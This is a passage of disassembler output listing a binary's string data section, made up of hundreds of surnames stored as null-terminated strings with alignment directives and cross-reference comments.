aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E5D8o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E5D4o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E5D0o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E5CCo
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E5C8o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E5C4o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E5C0o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E5BCo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E5B8o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: ___:0042E5B4o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E5B0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E5ACo
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E5A8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E5A4o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E5A0o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E59Co
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E598o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E594o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E590o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E58Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042E588o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E584o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E580o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E57Co
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E578o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E574o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E570o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E56Co
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E568o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E564o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E560o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E55Co
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E558o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E554o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E550o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E54Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E548o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E544o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E540o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E53Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E538o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E534o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E530o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E52Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E528o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E524o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E520o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E51Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E518o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E514o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E510o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E50Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: ___:0042E508o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E504o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E500o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E4FCo
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E4F8o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E4F4o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E4F0o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E4ECo
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E4E8o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E4E4o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E4E0o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E4DCo
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E4D8o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E4D4o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E4D0o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E4CCo
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E4C8o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: ___:0042E4C4o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E4C0o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E4BCo
aShar		db 'Shar',0             ; DATA XREF: ___:0042E4B8o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E4B4o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E4B0o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E4ACo
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E4A8o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E4A4o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E4A0o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E49Co
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E498o
aSen		db 'Sen',0              ; DATA XREF: ___:0042E494o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E490o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E48Co
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E488o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E484o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E480o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E47Co
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E478o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E474o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E470o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E46Co
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E468o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E464o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E460o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E45Co
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E458o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E454o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E450o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E44Co
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E448o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E444o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E440o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E43Co
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E438o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E434o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E430o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E42Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E428o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E424o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E420o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E41Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E418o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E414o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E410o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E40Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E408o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E404o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E400o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E3FCo
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E3F8o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E3F4o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E3F0o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E3ECo
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E3E8o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E3E4o
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042E3E0o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E3DCo
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E3D8o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E3D4o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E3D0o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E3CCo
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E3C8o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E3C4o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E3C0o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: ___:0042E3BCo
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E3B8o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E3B4o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E3B0o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E3ACo
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E3A8o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E3A4o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E3A0o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E39Co
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E398o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E394o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E390o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E38Co
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E388o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E384o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E380o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E37Co
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E378o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E374o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E370o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E36Co
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E368o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E364o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E360o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E35Co
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E358o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E354o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E350o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E34Co
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E348o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E344o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E340o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E33Co
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E338o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E334o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E330o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E32Co
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E328o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E324o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E320o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E31Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E318o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E314o
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042E310o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042E30Co
		align 4
aPo		db 'Po',0               ; DATA XREF: ___:0042E308o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E304o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E300o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E2FCo
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E2F8o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E2F4o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E2F0o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E2ECo
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E2E8o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E2E4o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E2E0o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E2DCo
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E2D8o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E2D4o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E2D0o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E2CCo
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E2C8o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E2C4o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E2C0o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E2BCo
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E2B8o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E2B4o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E2ACo
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E2A8o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E2A4o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E2A0o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E29Co
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E298o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E294o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E290o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E28Co
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E288o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E284o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E280o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E27Co
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E278o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E274o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E270o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E26Co
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E268o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E264o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E260o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E25Co
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E258o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E254o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E250o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E24Co
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E248o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E244o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E240o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E23Co
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E238o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E234o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E230o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E22Co
aOman		db 'Oman',0             ; DATA XREF: ___:0042E228o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E224o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E220o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E21Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E218o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E214o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E210o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E20Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E208o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E204o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E200o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E1FCo
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E1F8o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E1F4o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E1F0o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E1ECo
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E1E8o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: ___:0042E1E4o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E1E0o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E1DCo
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E1D8o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E1D4o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E1D0o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E1CCo
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E1C8o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E1C4o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E1C0o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E1BCo
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E1B8o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E1B4o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E1B0o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E1ACo
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E1A8o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E1A4o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E1A0o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E19Co
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E198o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E194o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E190o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E18Co
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E188o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E184o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E180o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E17Co
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E178o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E174o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E170o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E16Co
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E168o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E164o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E160o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E15Co
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E158o
		align 10h
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E154o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E150o
		align 10h
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E14Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E148o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E144o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E140o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E13Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E138o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E134o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E130o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E12Co
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E128o
		align 10h
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E124o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E120o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E11Co
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E118o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E114o
		align 10h
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E110o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E10Co
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E108o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E104o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E100o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E0FCo
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E0F8o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E0F4o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E0F0o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E0ECo
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E0E8o
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E0E4o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E0E0o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E0DCo
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E0D8o
		align 10h
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E0D4o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E0D0o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E0CCo
		align 10h
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E0C8o
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E0C4o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E0C0o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E0BCo
		align 4
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E0B8o
aMay		db 'May',0              ; DATA XREF: ___:0042E0B4o
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E0B0o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E0ACo
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E0A8o
		align 10h
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E0A4o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E0A0o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E09Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E098o
		align 4
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E094o
		align 10h
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E090o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E08Co
		align 4
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E088o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E084o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E080o
		align 4
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E07Co
		align 10h
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E078o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E074o
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E070o
		align 10h
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E06Co
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E068o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E064o
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E060o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E05Co
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E058o
		align 4
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E054o
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E050o
		align 10h
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E04Co
		align 4
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E048o
		align 10h
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E044o
		align 4
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E040o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E03Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E038o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E034o
		align 10h
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E030o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E02Co
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E028o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E024o
		align 10h
aMa		db 'Ma',0               ; DATA XREF: ___:0042E020o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E01Co
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E018o
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E014o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E010o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E00Co
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E008o
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E004o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E000o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042DFFCo
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042DFF8o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042DFF4o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042DFF0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042DFECo
aLoss		db 'Loss',0             ; DATA XREF: ___:0042DFE8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042DFE4o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042DFE0o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042DFDCo
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042DFD8o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042DFD4o
		align 4
